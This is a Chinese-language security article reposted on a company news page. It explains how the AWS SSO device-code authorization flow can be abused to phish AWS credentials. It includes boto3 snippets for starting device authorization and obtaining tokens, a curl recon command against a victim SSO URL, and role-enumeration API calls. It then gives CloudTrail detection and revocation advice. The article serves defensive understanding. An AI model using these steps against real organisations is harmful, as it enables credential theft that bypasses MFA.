尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

通过AWS SSO设备代码认证进行AWS凭证钓鱼攻击(2024年更新)

通过AWS SSO设备代码认证进行AWS凭证钓鱼攻击(2024年更新)
📅 发布时间:2026/6/22 20:11:36
本文详细分析了AWS SSO设备代码认证机制存在的钓鱼攻击风险,通过具体代码演示攻击流程,并提供了CloudTrail日志检测方案。文章指出这种设计缺陷会绕过MFA等安全机制,同时给出了具体的防御建议和凭证撤销方法。

通过AWS SSO设备代码认证进行AWS凭证钓鱼攻击(2024年更新)

背景

AWS SSO简介

AWS SSO(现称为Identity Center)是AWS提供的多账户权限管理服务。支持三种身份源:

  • 直接创建在AWS SSO身份存储中
  • 从Active Directory同步
  • 通过SAML集成第三方身份提供商(如Okta)

CLI使用机制

AWS SSO实现了OAuth 2.0设备授权许可标准,支持CLI认证流程:

$ aws configure sso
SSO start URL: https://my-sso-portal.awsapps.com/start
SSO region: us-east-1

系统会生成设备验证链接和代码,用户通过浏览器完成认证。

攻击原理

设备代码授权流程

  1. 客户端调用sso-oidc:RegisterClient注册OIDC客户端
  2. 调用sso-oidc:StartDeviceAuthorization生成验证链接
  3. 用户打开链接完成身份提供商认证
  4. 客户端调用sso-oidc:CreateToken获取SSO访问令牌

钓鱼攻击步骤

步骤0:获取目标信息
通过社会工程或子域名发现获取AWS SSO URL:

$ curl https://victim.awsapps.com/start/ | grep 'meta name="region"'

步骤1:发起设备代码授权

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(clientName='my-attacker')
authz = sso_oidc.start_device_authorization(clientId=client_id,startUrl=AWS_SSO_START_URL
)

步骤2:发送钓鱼链接
受害者看到合法的AWS验证页面,只需点击"允许"即可完成授权。

步骤3:获取访问令牌

token_response = sso_oidc.create_token(deviceCode=deviceCode,grantType="urn:ietf:params:oauth:grant-type:device_code"
)

步骤4:枚举AWS资源

  • 列出可访问账户:sso:ListAccounts
  • 列出账户角色:sso:ListAccountRoles
  • 获取STS凭证:sso:GetRoleCredentials

检测与防护

CloudTrail日志事件

攻击步骤 CloudTrail事件 源IP
生成设备代码 无日志 N/A
受害者查看提示 sso:ListApplications 受害者IP
获取访问令牌 sso-oidc:CreateToken 攻击者IP
枚举账户角色 sso:ListAccounts/sso:ListAccountRoles 攻击者IP

检测策略

  1. 邮件网关检测:拦截device.sso.<region>.amazonaws.com链接
  2. IP差异检测:监控短时间内不同IP的ListApplications和CreateToken事件
  3. 异常活动检测:监控sso:ListAccountRoles事件数量异常增长

凭证撤销

通过移除用户的所有权限集分配可立即撤销访问令牌:

  • 直接移除用户权限分配
  • 移除所属组的权限分配

结论

设备代码认证虽然提升了CLI使用体验,但存在固有的钓鱼风险。组织需要结合安全意识培训和CloudTrail监控来加强防护。AWS明确表示这是设计特性而非漏洞,所有实现OIDC设备代码认证的身份提供商都存在类似风险。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

相关新闻

  • wireshark 过滤
  • 解码数据结构栈
  • 什么?你的蓝牙用不了了?

最新新闻

  • 如何利用Video2X实现AI驱动的视频画质无损提升
  • GEO排名优化服务商TOP8权威评测:2026年AI搜索排名提升指南 - GEORANK
  • 天津遗嘱咨询律所联系方式推荐 本地专业家事法律服务优选指南 - 外贸老黄
  • MuddyWater APT组织钓鱼攻击剖析与纵深防御实战指南
  • 生成式AI优化服务商TOP8盘点:2026年企业品牌AI认知提升指南 - GEORANK
  • 连续体机器人接触感知轨迹规划:从环境交互到智能控制

日新闻

  • Arduino-ESP32项目深度解析:解锁隐藏芯片支持与架构演进
  • 2026年 系统窗厂家/品牌推荐榜单:隔音系统窗+高端系统门窗的核心优势与选购指南 - 品牌发掘
  • NVBench:首个双语非言语发声语音合成评测基准详解与实践

周新闻

  • Visual C++运行库修复终极指南:5分钟快速解决Windows软件启动错误
  • 手把手教你构建统计局地区经济数据爬虫:从环境搭建到数据持久化全指南
  • 2026多Agent深度解析:用AI团队替代单一模型,四种架构实战落地

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号